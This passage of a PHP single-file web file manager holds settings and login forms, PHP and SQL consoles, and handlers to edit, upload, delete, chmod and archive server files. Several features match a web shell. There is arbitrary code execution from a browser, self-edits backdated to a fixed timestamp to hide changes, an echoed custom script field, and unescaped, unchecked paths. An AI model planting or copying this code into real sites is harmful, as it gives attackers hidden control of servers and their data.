  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
